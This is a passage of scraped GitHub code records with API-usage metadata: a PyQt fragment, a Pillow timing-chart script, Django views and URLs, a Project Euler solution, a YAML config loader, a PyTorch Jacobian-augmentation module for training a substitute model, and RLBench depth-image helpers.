76, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 79, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 79, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 81, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 81, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 84, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 84, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 86, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 86, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 89, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 89, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 94, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 94, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 97, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 97, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 100, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 100, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 106, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 106, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 120, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 120, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 122, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 122, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 124, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 124, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 208, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 208, "usage_type": "name"}, {"api_name": "telleUI.Ui", "line_number": 209, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 211, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 211, "usage_type": "name"}, {"api_name": "telleUI.Ui", "line_number": 212, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 215, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 215, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 217, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 217, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 221, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 221, "usage_type": "name"}, {"api_name": "followUp_PL.Ui", "line_number": 223, "usage_type": "call"}, {"api_name": "followUp_CC.Ui", "line_number": 225, "usage_type": "call"}]}
{"seq_id": "36763771996", "text": "from PIL import Image\nfrom PIL import ImageDraw\nfrom PIL import ImageFont\nimport re\nimport sys\n\nimgw=0\nimgh=0\nscalex=0\nscaley=0\n#img = Image.new(\"RGB\",(300,300),\"red\")\n#img.save(\"./test.jpg\")\n\ndef getScale(width, height, lines):\n    wordnum=0\n    for line in lines:\n        words = re.split(\":\", line)\n        if (len(words) != 2) :\n            print(\"Error : The format is not correct\")\n            exit()\n        words[1]=line\n        if (wordnum <= len(words[1])):\n            wordnum = len(words[1])\n    scale_x = width / (wordnum+1)\n    scale_y = height / len(lines)\n    return int(scale_x), int(scale_y)\n\ndef drawText(img,basex,basey,word):\n    do = ImageDraw.Draw(img)\n    fontsize=int(scalex*2)\n    font = ImageFont.truetype(\"mplus-1p-regular.ttf\", fontsize)\n    do.text((basex,basey),word,fill=\"black\",font=font)\n\ndef drawChart(img,basex,basey,line):\n    do = ImageDraw.Draw(img)\n    scaley2 = scaley * 7 / 10\n    wid=int(scaley/20)\n    fontsize=int(scalex*2)\n    font = ImageFont.truetype(\"mplus-1p-regular.ttf\", fontsize)\n    preword=\"\"\n    textbuf=\"\"\n    textanc=basex+(scalex/2)\n    for i in range(len(line)):\n        word=line[i]\n        if (word == \"_\"):\n            if (preword == \"~\"):\n                do.line([(basex+scalex*i,basey-(scaley2/2)), (basex+scalex*i,basey+(scaley2/2))], fill=\"black\", width=wid)\n            elif (preword == \"-\"):\n                do.line([(basex+scalex*i,basey), (basex+scalex*i,basey+(scaley2/2))], fill=\"black\", width=wid)\n            do.line([(basex+scalex*i,basey+(scaley2/2)), (basex+scalex*(i+1),basey+(scaley2/2))], fill=\"black\", width=wid)\n        elif (word == \"~\"):\n            if (preword == \"_\"):\n                do.line([(basex+scalex*i,basey-(scaley2/2)), (basex+scalex*i,basey+(scaley2/2))], fill=\"black\", width=wid)\n            elif (preword == \"-\"):\n                do.line([(basex+scalex*i,basey), (basex+scalex*i,basey-(scaley2/2))], fill=\"black\", width=wid)\n            do.line([(basex+scalex*i,basey-(scaley2/2)), (basex+scalex*(i+1),basey-(scaley2/2))], fill=\"black\", width=wid)\n        elif (word == \"-\"):\n            if (preword == \"_\"):\n                do.line([(basex+scalex*i,basey), (basex+scalex*i,basey+(scaley2/2))], fill=\"black\", width=wid)\n            elif (preword == \"~\"):\n                do.line([(basex+scalex*i,basey), (basex+scalex*i,basey-(scaley2/2))], fill=\"black\", width=wid)\n            elif (preword == \"=\"):\n                do.line([(basex+scalex*i,basey-(scaley2/2)), (basex+scalex*i,basey+(scaley2/2))], fill=\"black\", width=wid)\n            do.line([(basex+scalex*i,basey), (basex+scalex*(i+1),basey)], fill=\"black\", width=wid)\n        elif (word == \"=\"):\n            if (textbuf != \"\"):\n                do.text((textanc,basey-scaley2/2),textbuf,fill=\"black\",font=font)\n                textbuf=\"\"\n            do.line([(basex+scalex*i,basey+(scaley2/2)), (basex+scalex*(i+1),basey+(scaley2/2))], fill=\"black\", width=wid)\n            do.line([(basex+scalex*i,basey-(scaley2/2)), (basex+scalex*(i+1),basey-(scaley2/2))], fill=\"black\", width=wid)\n        else:\n            if ((preword == \"=\") or (preword == \"-\")):\n                textanc=(basex+scalex*i+scalex/2)\n                do.line([(basex+scalex*i,basey-(scaley2/2)), (basex+scalex*i,basey+(scaley2/2))], fill=\"black\", width=wid)\n            do.line([(basex+scalex*i,basey+(scaley2/2)), (basex+scalex*(i+1),basey+(scaley2/2))], fill=\"black\", width=wid)\n            do.line([(basex+scalex*i,basey-(scaley2/2)), (basex+scalex*(i+1),basey-(scaley2/2))], fill=\"black\", width=wid)\n            textbuf=textbuf+word\n        preword=word\n\nif __name__ == '__main__':\n    if (len(sys.argv) != 2) :\n        print(\"Error : Argument is not correct.\")\n        exit()\n    srcpath = sys.argv[1]\n    srcfp = open(srcpath)\n    lines = srcfp.readlines()\n    srcfp.close()\n\n    for i in range(len(lines)):\n        lines[i] = lines[i].replace('\\r', '')\n        lines[i] = lines[i].replace('\\n', '')\n        #line = line.rstrip('\\n')\n    \n    ## Info Check\n    line = lines.pop(0)\n    words = re.split(\",\", line)\n    imgw = int(words[0])\n    imgh = int(words[1])\n    img = Image.new(\"RGB\",(imgw,imgh),\"white\")\n    scalex, scaley = getScale(imgw,imgh,lines)\n    print(\"----------------\")\n    print(\"sizeX :\"+str(imgw)+\" sizeY :\"+str(imgh))\n    print(\"scaleX:\"+str(scalex)+\" scaleY:\"+str(scaley))\n    print(\"----------------\")\n\n    ##\n    for i in range(len(lines)):\n        line = lines[i]\n        words = re.split(\":\", line)\n        if (len(words) != 2) :\n            print(\"Error : The format is not correct\")\n            exit()\n        print(words[1])\n        drawText(img,scalex/2,(scaley*i)+(scaley/8),words[0])\n        drawChart(img,scalex*(len(words[0])+1),(scaley*i)+(scaley/2),words[1])\n    img.save(\"./chart.jpg\")\n\n", "repo_name": "takenoko564/app_tool", "sub_path": "logic/tchart_gen/bin/tchart_gen.py", "file_name": "tchart_gen.py", "file_ext": "py", "file_size_in_byte": 4752, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "re.split", "line_number": 17, "usage_type": "call"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 29, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 29, "usage_type": "name"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 31, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 31, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 35, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 35, "usage_type": "name"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 39, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 39, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 81, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 84, "usage_type": "attribute"}, {"api_name": "re.split", "line_number": 96, "usage_type": "call"}, {"api_name": "PIL.Image.new", "line_number": 99, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 99, "usage_type": "name"}, {"api_name": "re.split", "line_number": 109, "usage_type": "call"}]}
{"seq_id": "72037027750", "text": "from .forms import UserRegistrationForm\nfrom django.shortcuts import render, redirect\n\n\ndef register(request):\n    if request.method == 'POST':\n        form = UserRegistrationForm(request.POST)\n        if form.is_valid():\n            print(\"Form is valid\")\n            form.save()\n            return redirect('login')\n        else:\n            print(\"form has errors\")\n\n    else:\n        form = UserRegistrationForm()\n    return render(request, 'users/register.html', {'form': form})", "repo_name": "quingo99/Job_Portal", "sub_path": "final project/job_portal/users/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 483, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "forms.UserRegistrationForm", "line_number": 7, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 11, "usage_type": "call"}, {"api_name": "forms.UserRegistrationForm", "line_number": 16, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "22094230724", "text": "from . import views\nfrom django.urls import path\n\napp_name = 'release'\n\nurlpatterns = [\n    path('addAlbumRelease', views.AlbumView.as_view(), name='addNewAlbumRelease'),\n    path('addSinglesRelease', views.SinglesView.as_view(), name='addNewSinglesRelease'),\n    path('displayAlbum', views.DisplayAlbumView.as_view(), name='displayAlbum'),\n    path('displaySingle', views.DisplaySingleView.as_view(), name='displaySingle'),\n]\n", "repo_name": "charamirez05/ArtistManagementSystem", "sub_path": "Artist/release/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 427, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}]}
{"seq_id": "26706924369", "text": "# Counting Sundays\n# Problem 19\n# You are given the following information, but you may prefer to do some research for yourself.\n#\n# 1 Jan 1900 was a Monday.\n# Thirty days has September,\n# April, June and November.\n# All the rest have thirty-one,\n# Saving February alone,\n# Which has twenty-eight, rain or shine.\n# And on leap years, twenty-nine.\n# A leap year occurs on any year evenly divisible by 4, but not on a century unless it is divisible by 400.\n# How many Sundays fell on the first of the month during the twentieth century (1 Jan 1901 to 31 Dec 2000)?\n\nfrom itertools import takewhile\n\n\ndef next_day(date=(0, 'Monday', 0, 1900)):\n    day_strings = ('Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday')\n    next_day_string = {day_strings[d % 7]: day_strings[(d + 1) % 7] for d in range(0, 7)}\n    days_in_month = (31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31)\n\n    while True:  # no tail recursion in python :(\n        day, day_string, month, year = date\n        offset = 1 if month == 1 and year % 4 == 0 and (year % 100 != 0 or year % 400 == 0) else 0\n        month_boundary = days_in_month[month] + offset\n        new_day = (day + 1) % month_boundary\n        new_month = (month + 1) % 12 if new_day == 0 else month\n        new_year = year + 1 if new_day == 0 and new_month == 0 else year\n\n        new_date = (new_day, next_day_string[day_string], new_month, new_year)\n        yield new_date\n        date = new_date\n\nsundays_on_first = filter(lambda day: day[0] == 0 and day[1] == 'Sunday', next_day())\nfrom_1901 = filter(lambda day: day[3] > 1900, sundays_on_first)\nuntil_2001 = takewhile(lambda day: day[3] < 2001, from_1901)\nprint(len(list(until_2001)))\n", "repo_name": "chjdev/euler", "sub_path": "python/problem19.py", "file_name": "problem19.py", "file_ext": "py", "file_size_in_byte": 1695, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "itertools.takewhile", "line_number": 37, "usage_type": "call"}]}
{"seq_id": "36614320793", "text": "\nimport logging\nimport os\nimport yaml\nimport appdirs\n\nfrom mail_sender_daemon import app, APP_NAME\n\nlogger = logging.getLogger(APP_NAME)\n\n\nos.environ[\"XDG_CONFIG_DIRS\"] = \"/etc\"\n\nCONFIG_DIRS = (\n    appdirs.user_config_dir(APP_NAME),\n    appdirs.site_config_dir(APP_NAME),\n    os.path.abspath(os.path.join(app.root_path, \"../\")),\n)\nCONFIG_FILENAME = \"config.yml\"\n\n\ndef build_app_config(custom_path=None):\n    \"\"\"\n    Get config file and load it with yaml\n\n    :returns: loaded config in yaml, as a dict object\n    \"\"\"\n    if custom_path:\n        config_path = custom_path\n    else:\n        for d in CONFIG_DIRS:\n            config_path = os.path.join(d, CONFIG_FILENAME)\n            if os.path.isfile(config_path):\n                break\n    try:\n        with open(config_path, \"r\") as config_file:\n            return yaml.safe_load(config_file)\n    except FileNotFoundError as e:\n        logger.debug(e)\n        if custom_path:\n            logger.error(\n                \"Configuration file {} not found.\".format(custom_path)\n            )\n        else:\n            logger.error(\n                \"No configuration file can be found.\\n\"\n                \"Please create a config.yml in one of these directories:\\n\"\n                \"\\t{}\".format(\"\\n\\t\".join(CONFIG_DIRS))\n            )\n        raise\n", "repo_name": "aruhier/mail-sender-daemon", "sub_path": "mail_sender_daemon/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 1295, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "mail_sender_daemon.APP_NAME", "line_number": 9, "usage_type": "argument"}, {"api_name": "os.environ", "line_number": 12, "usage_type": "attribute"}, {"api_name": "appdirs.user_config_dir", "line_number": 15, "usage_type": "call"}, {"api_name": "mail_sender_daemon.APP_NAME", "line_number": 15, "usage_type": "argument"}, {"api_name": "appdirs.site_config_dir", "line_number": 16, "usage_type": "call"}, {"api_name": "mail_sender_daemon.APP_NAME", "line_number": 16, "usage_type": "argument"}, {"api_name": "os.path.abspath", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "mail_sender_daemon.app.root_path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "mail_sender_daemon.app", "line_number": 17, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "yaml.safe_load", "line_number": 37, "usage_type": "call"}]}
{"seq_id": "11351748193", "text": "from __future__ import division\nimport torch\nimport torch.nn as nn\nimport torch.autograd as autograd\n\n\nclass Jacobian(nn.Module):\n    '''\n    Loss criterion that computes the trace of the square of the Jacobian.\n    Arguments:\n        n (int, optional): determines the number of random projections.\n            If n=-1, then it is set to the dimension of the output\n            space and projection is non-random and orthonormal, yielding\n            the exact result.  For any reasonable batch size, the default\n            (n=1) should be sufficient.\n    '''\n\n    def __init__(self, n=-1):\n        assert n == -1 or n > 0\n        self.n = n\n        super(Jacobian, self).__init__()\n\n    def forward(self, x, y):\n        '''\n        computes (1/2) tr |dy/dx|^2\n        '''\n        B, C = y.shape #32 10\n        if self.n == -1:\n            num_proj = C\n        else:\n            num_proj = self.n\n        J2 = 0\n        for ii in range(num_proj):\n            if self.n == -1:\n                # orthonormal vector, sequentially spanned\n                v = torch.zeros(B, C)\n                v[:, ii] = 1\n            else:\n                # random properly-normalized vector for each sample\n                v = self._random_vector(C=C, B=B)\n            if x.is_cuda:\n                v = v.cuda()\n            print(\"v:\", v)\n            Jv = self._jacobian_vector_product(y, x, v, create_graph=True)\n            print(\"Jv:\", Jv.shape)\n            J2 += C * torch.norm(Jv) ** 2 / (num_proj * B)\n        R = (1 / 2) * J2\n        return R\n\n    def _random_vector(self, C, B):\n        '''\n        creates a random vector of dimension C with a norm of C^(1/2)\n        (as needed for the projection formula to work)\n        '''\n        if C == 1:\n            return torch.ones(B)\n        v = torch.randn(B, C)\n        arxilirary_zero = torch.zeros(B, C)\n        vnorm = torch.norm(v, 2, 1, True)\n        v = torch.addcdiv(arxilirary_zero, 1.0, v, vnorm)\n        return v\n\n    def _jacobian_vector_product(self, y, x, v, create_graph=False):\n        '''\n        Produce jacobian-vector product dy/dx dot v.\n        Note that if you want to differentiate it,\n        you need to make create_graph=True\n        '''\n        flat_y = y.reshape(-1)\n        flat_v = v.reshape(-1)\n        grad_x, = torch.autograd.grad(flat_y, x, flat_v,\n                                      retain_graph=True,\n                                      create_graph=create_graph)\n        return grad_x\n\nclass JacobianAugmentation(object):\n    def __init__(self, copy_model):\n        self.lammda=0.1\n        self.copy_model=copy_model\n        # self.queried_y=queried_y #should be torch\n\n    def get_synthesizing_set(self, inputs, targets):\n        #let input_shape a list\n        # extended for Jacobian calculation\n\n\n        # Jacobian computed by the improved method\n        # On Colab CPU 0.16s, K80 GPU 0.14s\n        # with JacobianMode(self.copy_model):\n        #     out = self.copy_model(inputs).cpu()\n        #     out.sum().backward()\n        #     jac = self.copy_model.jacobian()\n        inputs = inputs.cuda()\n        targets = targets.cuda()\n        inputs.requires_grad_()\n        targets.requires_grad_()\n\n        inputs.requires_grad = True\n        outputs = self.copy_model(inputs)\n        # pred = jacobian(targets, inputs, outputs, create_graph=True)#targets\n        # jacobian=Jacobian()\n        # jac_on_copy=jacobian(inputs, outputs)\n        # print(\"jac_on_copy\", jac_on_copy)\n        grad_x, = torch.autograd.grad(outputs, inputs, targets, allow_unused=True)#retain_graph=True,\n                                       #create_graph=True\n        #outputs: _TensorOrTensors,\n        #inputs: _TensorOrTensors,\n        #grad_outputs\n        #jacobian is calculated on the copy model/substitute model\n        # print(\"grad_x\", grad_x[0])\n        # print('x', inputs[0])\n        #calculate new set\n        synthesizing_set = inputs + self.lammda * torch.sign(grad_x) #if all these two is torch\n        # synthesizing_set=[]\n        return synthesizing_set\n", "repo_name": "mebooster/mebooster", "sub_path": "mebooster/synthetic_active/jacobian_augmentation.py", "file_name": "jacobian_augmentation.py", "file_ext": "py", "file_size_in_byte": 4037, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.nn.Module", "line_number": 7, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 7, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.norm", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.norm", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.addcdiv", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.autograd.grad", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 71, "usage_type": "attribute"}, {"api_name": "torch.autograd.grad", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 104, "usage_type": "attribute"}, {"api_name": "torch.sign", "line_number": 113, "usage_type": "call"}]}
{"seq_id": "18855045709", "text": "\"\"\"Creates an image from a numpy array of floating point depth data.\n\nTaken from https://github.com/ahundt/robotics_setup/blob/master/datasets/google_brain_robot_data/depth_image_encoding.py\n\nExamples:\n\n  depth_array is a 2D numpy array of floating point depth data in meters.\n\n  depth_rgb = FloatArrayToRgbImage(depth_array)\n  depth_rgb is a PIL Image object containing the same data as 24-bit\n  integers encoded in the RGB bytes.\n  depth_rgb.save('image_file.png') - to save to a file.\n\n  depth_array2 = ImageToFloatArray(depth_rgb)\n  depth_array2 is a 2D numpy array containing the same data as\n  depth_array up to the precision of the RGB image (1/256 mm).\n\n  depth_gray = FloatArrayToGrayImage(depth_array)\n  depth_gray is a PIL Image object containing the same data rounded to\n  8-bit integers.\n  depth_gray.save('image_file.jpg', quality=95) - to save to a file.\n\n  depth_array3 = ImageToFloatArray(depth_gray)\n  depth_array3 is a 2D numpy array containing the same data as\n  depth_array up to the precision of the grayscale image (1 cm).\n\nThe image conversions first scale and round the values and then pack\nthem into the desired type in a numpy array before converting the\narray to a PIL Image object.  The Image can be saved in any format.\nWe are using PNG for RGB and high quality JPEG for grayscale images.\n\nYou can use different numeric types (e.g. np.uint16, np.int32), but\nnot all combinations of numeric type and image format are supported by\nPIL or standard image viewers.\n\n\"\"\"\n\nimport numpy as np\nfrom PIL import Image\n\n\ndef ClipFloatValues(float_array, min_value, max_value):\n  \"\"\"Clips values to the range [min_value, max_value].\n\n  First checks if any values are out of range and prints a message.\n  Then clips all values to the given range.\n\n  Args:\n    float_array: 2D array of floating point values to be clipped.\n    min_value: Minimum value of clip range.\n    max_value: Maximum value of clip range.\n\n  Returns:\n    The clipped array.\n\n  \"\"\"\n  if float_array.min() < min_value or float_array.max() > max_value:\n    float_array = np.clip(float_array, min_value, max_value)\n  return float_array\n\n\nDEFAULT_RGB_SCALE_FACTOR = 256000.0\n\n\ndef float_array_to_rgb_image(float_array,\n                             scale_factor=DEFAULT_RGB_SCALE_FACTOR,\n                             drop_blue=False):\n  \"\"\"Convert a floating point array of values to an RGB image.\n\n  Convert floating point values to a fixed point representation where\n  the RGB bytes represent a 24-bit integer.\n  R is the high order byte.\n  B is the low order byte.\n  The precision of the depth image is 1/256 mm.\n\n  Floating point values are scaled so that the integer values cover\n  the representable range of depths.\n\n  This image representation should only use lossless compression.\n\n  Args:\n    float_array: Input array of floating point depth values in meters.\n    scale_factor: Scale value applied to all float values.\n    drop_blue: Zero out the blue channel to improve compression, results in 1mm\n      precision depth values.\n\n  Returns:\n    24-bit RGB PIL Image object representing depth values.\n  \"\"\"\n  # Scale the floating point array.\n  scaled_array = np.floor(float_array * scale_factor + 0.5)\n  # Convert the array to integer type and clip to representable range.\n  min_inttype = 0\n  max_inttype = 2**24 - 1\n  scaled_array = ClipFloatValues(scaled_array, min_inttype, max_inttype)\n  int_array = scaled_array.astype(np.uint32)\n  # Calculate:\n  #   r = (f / 256) / 256  high byte\n  #   g = (f / 256) % 256  middle byte\n  #   b = f % 256          low byte\n  rg = np.divide(int_array, 256)\n  r = np.divide(rg, 256)\n  g = np.mod(rg, 256)\n  image_shape = int_array.shape\n  rgb_array = np.zeros((image_shape[0], image_shape[1], 3), dtype=np.uint8)\n  rgb_array[..., 0] = r\n  rgb_array[..., 1] = g\n  if not drop_blue:\n    # Calculate the blue channel and add it to the array.\n    b = np.mod(int_array, 256)\n    rgb_array[..., 2] = b\n  image_mode = 'RGB'\n  image = Image.fromarray(rgb_array, mode=image_mode)\n  return image\n\n\nDEFAULT_GRAY_SCALE_FACTOR = {np.uint8: 100.0,\n                             np.uint16: 1000.0,\n                             np.int32: DEFAULT_RGB_SCALE_FACTOR}\n\n\ndef float_array_to_grayscale_image(float_array, scale_factor=None, image_dtype=np.uint8):\n  \"\"\"Convert a floating point array of values to an RGB image.\n\n  Convert floating point values to a fixed point representation with\n  the given bit depth.\n\n  The precision of the depth image with default scale_factor is:\n    uint8: 1cm, with a range of [0, 2.55m]\n    uint16: 1mm, with a range of [0, 65.5m]\n    int32: 1/256mm, with a range of [0, 8388m]\n\n  Right now, PIL turns uint16 images into a very strange format and\n  does not decode int32 images properly.  Only uint8 works correctly.\n\n  Args:\n    float_array: Input array of floating point depth values in meters.\n    scale_factor: Scale value applied to all float values.\n    image_dtype: Image datatype, which controls the bit depth of the grayscale\n      image.\n\n  Returns:\n    Grayscale PIL Image object representing depth values.\n\n  \"\"\"\n  # Ensure that we have a valid numeric type for the image.\n  if image_dtype == np.uint16:\n    image_mode = 'I;16'\n  elif image_dtype == np.int32:\n    image_mode = 'I'\n  else:\n    image_dtype = np.uint8\n    image_mode = 'L'\n  if scale_factor is None:\n    scale_factor = DEFAULT_GRAY_SCALE_FACTOR[image_dtype]\n  # Scale the floating point array.\n  scaled_array = np.floor(float_array * scale_factor + 0.5)\n  # Convert the array to integer type and clip to representable range.\n  min_dtype = np.iinfo(image_dtype).min\n  max_dtype = np.iinfo(image_dtype).max\n  scaled_array = ClipFloatValues(scaled_array, min_dtype, max_dtype)\n\n  image_array = scaled_array.astype(image_dtype)\n  image = Image.fromarray(image_array, mode=image_mode)\n  return image\n\n\ndef image_to_float_array(image, scale_factor=None):\n  \"\"\"Recovers the depth values from an image.\n\n  Reverses the depth to image conversion performed by FloatArrayToRgbImage or\n  FloatArrayToGrayImage.\n\n  The image is treated as an array of fixed point depth values.  Each\n  value is converted to float and scaled by the inverse of the factor\n  that was used to generate the Image object from depth values.  If\n  scale_factor is specified, it should be the same value that was\n  specified in the original conversion.\n\n  The result of this function should be equal to the original input\n  within the precision of the conversion.\n\n  Args:\n    image: Depth image output of FloatArrayTo[Format]Image.\n    scale_factor: Fixed point scale factor.\n\n  Returns:\n    A 2D floating point numpy array representing a depth image.\n\n  \"\"\"\n  image_array = np.array(image)\n  image_dtype = image_array.dtype\n  image_shape = image_array.shape\n\n  channels = image_shape[2] if len(image_shape) > 2 else 1\n  assert 2 <= len(image_shape) <= 3\n  if channels == 3:\n    # RGB image needs to be converted to 24 bit integer.\n    float_array = np.sum(image_array * [65536, 256, 1], axis=2)\n    if scale_factor is None:\n      scale_factor = DEFAULT_RGB_SCALE_FACTOR\n  else:\n    if scale_factor is None:\n      scale_factor = DEFAULT_GRAY_SCALE_FACTOR[image_dtype.type]\n    float_array = image_array.astype(np.float32)\n  scaled_array = float_array / scale_factor\n  return scaled_array\n\n\ndef task_file_to_task_class(task_file):\n  import importlib\n  name = task_file.replace('.py', '')\n  class_name = ''.join([w[0].upper() + w[1:] for w in name.split('_')])\n  mod = importlib.import_module(\"rlbench.tasks.%s\" % name)\n  mod = importlib.reload(mod)\n  task_class = getattr(mod, class_name)\n  return task_class\n\n\ndef rgb_handles_to_mask(rgb_coded_handles):\n  # rgb_coded_handles should be (w, h, c)\n  # Handle encoded as : handle = R + G * 256 + B * 256 * 256\n  rgb_coded_handles *= 255  # takes rgb range to 0 -> 255\n  rgb_coded_handles.astype(int)\n  return (rgb_coded_handles[:, :, 0] +\n          rgb_coded_handles[:, :, 1] * 256 +\n          rgb_coded_handles[:, :, 2] * 256 * 256)\n", "repo_name": "stepjam/RLBench", "sub_path": "rlbench/backend/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 7963, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 839, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.clip", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.uint32", "line_number": 96, "usage_type": "attribute"}, {"api_name": "numpy.divide", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.mod", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 105, "usage_type": "attribute"}, {"api_name": "numpy.mod", "line_number": 110, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 113, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 113, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 117, "usage_type": "attribute"}, {"api_name": "numpy.uint16", "line_number": 118, "usage_type": "attribute"}, {"api_name": "numpy.int32", "line_number": 119, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 122, "usage_type": "attribute"}, {"api_name": "numpy.uint16", "line_number": 147, "usage_type": "attribute"}, {"api_name": "numpy.int32", "line_number": 149, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 152, "usage_type": "attribute"}, {"api_name": "numpy.floor", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.iinfo", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.iinfo", "line_number": 160, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 164, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 164, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 205, "usage_type": "attribute"}, {"api_name": "importlib.import_module", "line_number": 214, "usage_type": "call"}, {"api_name": "importlib.reload", "line_number": 215, "usage_type": "call"}]}
